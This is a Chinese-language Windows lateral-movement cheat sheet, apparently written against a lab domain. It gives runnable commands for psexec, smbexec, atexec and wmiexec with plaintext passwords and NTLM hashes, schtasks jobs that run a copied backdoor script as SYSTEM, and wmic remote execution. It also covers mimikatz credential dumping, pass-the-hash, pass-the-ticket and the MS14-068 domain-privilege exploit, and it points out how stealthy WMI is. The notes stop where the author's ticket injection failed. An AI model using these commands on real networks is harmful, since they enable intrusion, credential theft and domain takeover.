smbexec可以通过文件共享在运程系统中执行命令。对方主机需要开启 c$ 共享,依赖于445端口。
psexec 是 windows 下非常好的一款远程命令行工具。psexec的使用不需要对方主机开方3389端口,只需要对方开启admin$共享 (该共享默认开启)。但是,假如目标主机开启了防火墙,psexec也是不能使用的,会提示找不到网络路径。由于psexec是Windows提供的工具,所以杀毒软件将其列在白名单中。可以直接得到shell会话。
通过ipc$连接admin$,释放二进制文件psexecsvc.exe到目标
通过服务管理SCManager远程创建一个psexec服务,并启动服务
客户端连接执行命令,服务端通过服务启动相应的程序执行命令并回显数据
运行结束后删除服务
对方主机开启了 admin$共享,如果关闭了admin$共享,会提示:找不到网络名
对方未开启防火墙
如果是工作组环境,则必须使用administrator用户连接(因为要在目标主机上面创建并启动服务),使用其他账号(包括管理员组中的非administrator用户)登录都会提示访问拒绝访问。
如果是域环境,即可用普通域用户连接也可以用域管理员用户连接。连接普通域主机可以用普通域用户,连接域控只能用域管理员账户。
#psexec第一种:先有ipc链接,psexec需要明文或hash传递
#建立ipc链接
net use \\10.10.10.10\ipc$ "hongrisec@2022" /user:administrator(比较快)
或者
net use \\10.10.10.10\ipc$ "hongrisec@2022" /user:de1ay.com\administrator(比较慢)
#查看ipc连接
net use
#需要先有ipc链接 -s以System权限运行
psexec \\10.10.10.10 -s cmd
#删除ipc连接
net use \\10.10.10.10\ipc$ /del


#psexec第二种:不用建立IPC直接提供明文账户密码(推荐)
#如果是使用明文的话只能使用PSTools里面的psexec,
psexec \\10.10.10.10 -u administrator -p hongrisec@2022 -s cmd
#如果使用哈希值的话只能使用impacket里面的psexec。
psexec -hashes :8c535a2d84c3b21059d667639bb89db5(NTLM值) ./administrator@10.10.10.10


常用的是以下两个模块
exploit/windows/smb/ms17_10_psexec
exploit/windows/smb/psexec
由于powershell是在win2008(2008年发布的,win7是2009年发布的)及以上版本自带的,但是win2003及以下的版本并不自带powershell,所以对于低版本只能使用msf中的psexec生成的exe进行横向移动。
smbexec不需要先ipc链接,可以进行明文或者hash传递。可以直接得到shell会话。
smbexec de1ay.com/administrator:hongrisec@2022@10.10.10.10

smbexec -hashes :8c535a2d84c3b21059d667639bb89db5 de1ay.com/administrator:administrator@10.10.10.10

利用windows服务进行横向渗透主要是通过schtasks命令,但是注意这里跟之前windows远程命令相比多了一个条件,即当前主机需要为administrator权限。schtasks命令是XP系统中功能强大的DOS命令,SC命令能与“服务控制器”和已安装设备进行通讯。schtasks是用于与服务控制管理器和服务进行通信的命令行程序。如果是低版本的windows的话,就需要使用at命令。
#与靶机建立ipc连接
net use \\10.10.10.10\ipc$ "hongrisec@2022" /user:administrator(比较快)
或者
net use \\10.10.10.10\ipc$ "hongrisec@2022" /user:de1ay.com\administrator(比较慢)
#拷贝exe到主机系统上
copy C:\houmen.bat \\10.10.10.10\c$
#创建adduser任务对应执行文件
schtasks /create /s 10.10.10.10 /ru "SYSTEM" /tn adduser /sc DAILY /tr C:\houmen.bat /F
#运行adduser任务
schtasks /run /s 10.10.10.10 /tn adduser /i
#删除adduser任务
schtasks /delete /s 10.10.10.10 /tn adduser /f
通过Task Scheduler服务在目标系统上执行命令,并返回输出结果。只能执行命令,不能直接得到shell会话。
atexec.exe de1ay.com/administrator(用户名):hongrisec@2022(密码)@10.10.10.10(目标ip地址) "whoami"

atexec.exe -hashes :8c535a2d84c3b21059d667639bb89db5(NTLM值) de1ay.com/administrator@10.10.10.10(目标ip地址) "whoami"

Windows操作系统默认不会将WMI的操作记录到日志当中,而且因为采用的是无文件攻击,所以导致WMI具有极高的隐蔽性。由此,越来越多的APT开始使用WMI进行攻击,利用WMI可以进行信息收集、探测、反病毒、虚拟机检测、命令执行、权限持久化等操作。
WMI(Windows Management Instrumentation) 是通过135端口进行利用,支持用户名明文或者hash的方式进行认证,并且该方法不会在目标日志系统留下痕迹。
无回显。不能直接得到shell会话。
wmic /node:10.10.10.10 /user:de1ay.com\administrator /password:hongrisec@2022 process list brief

wmic /node:10.10.10.10 /user:de1ay.com\administrator /password:hongrisec@2022 process call create "cmd.exe /c ipconfig > C:\ipconfig.txt"

使用type命令查看
type \\10.10.10.10\c$\ipconfig.txt

明文传递,有回显。但是需要vmiexec.vbs,下载地址:https://www.secpulse.com/wp-content/uploads/2015/05/cache-a360611dc24d240989799c29c555e4b7_wmiexec-v1_1.rar。能直接得到shell会话。
cscript //nologo wmiexec.vbs /shell 10.10.10.10 administrator hongrisec@2022

如果出现拒绝访问的情况,可以尝试在注册表中,对以下两个值删除掉,然后重启电脑
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Script Host\Settings
HKEY_CURRENT_USER\Software\Microsoft\Windows Script Host\Settings
有回显,明文或者hash传递。不能直接得到shell会话。
明文
wmiexec de1ay.com/administrator:hongrisec@2022@10.10.10.10 "ipconfig"

hash值
wmiexec -hashes :8c535a2d84c3b21059d667639bb89db5 de1ay.com/administrator@10.10.10.10 "ipconfig"

当获取到域内一个主机的权限之后,可以使用mimikatz运行sekurlsa::logonPasswords命令获取其LM和NTLM。服务器系统在Windows 2003以后,认证方式均为NTLM Hash。由于目前大部分主机系统都很新,所以一般我们收集的都是NTLM数据。
mimikatz
privilege::debug

获取administrator的NTLM值
sekurlsa::logonPasswords

进行哈希传递攻击
sekurlsa::pth /user:administrator /domain:god /ntlm:8c535a2d84c3b21059d667639bb89db5

首先删除原有的票据,在kekeo或者mimikatz都可以运行
kerberos::purge
查看票据,普通的cmd运行
klist

生成票据,普通的cmd运行
kekeo "tgt::ask /user:administrator /domain:de1ay.com /ntlm:8c535a2d84c3b21059d667639bb89db5"

导入票据,kekeo里面运行
kerberos::ptt TGT_administrator@DE1AY.COM_krbtgt~de1ay.com@DE1AY.COM.kirbi

查看票据,有且只有刚刚导入的一张票据,普通的cmd就可以运行
klist

进行利用,普通的cmd就可以运行
dir \\10.10.10.10\c$

ms14-068,powershell执行,能实现普通用户直接获取域控system权限。
首先清除票据
mimikatz
kerberos::purge
查看票据,普通的cmd运行
klist

查看当前sid
whoami/user

利用ms14-068生成TGT票据
MS14-068.exe -u 普通域用户名@域名 -s 普通域用户SID -d 域控制器地址 -p 普通域用户名对于的密码
MS14-068.exe -u de1ay@de1ay.com -s S-1-5-21-2756371121-2868759905-3853650604-1001 -d 10.10.10.10 -p 1qaz@WSX

票据注入内存
mimikatz.exe "kerberos::ptc TGT_de1ay@de1ay.com.ocache" exit
但是这里注入失败了,正确来讲应该是成功的,有可能是我环境的原因

这里借用下别人成功的过程
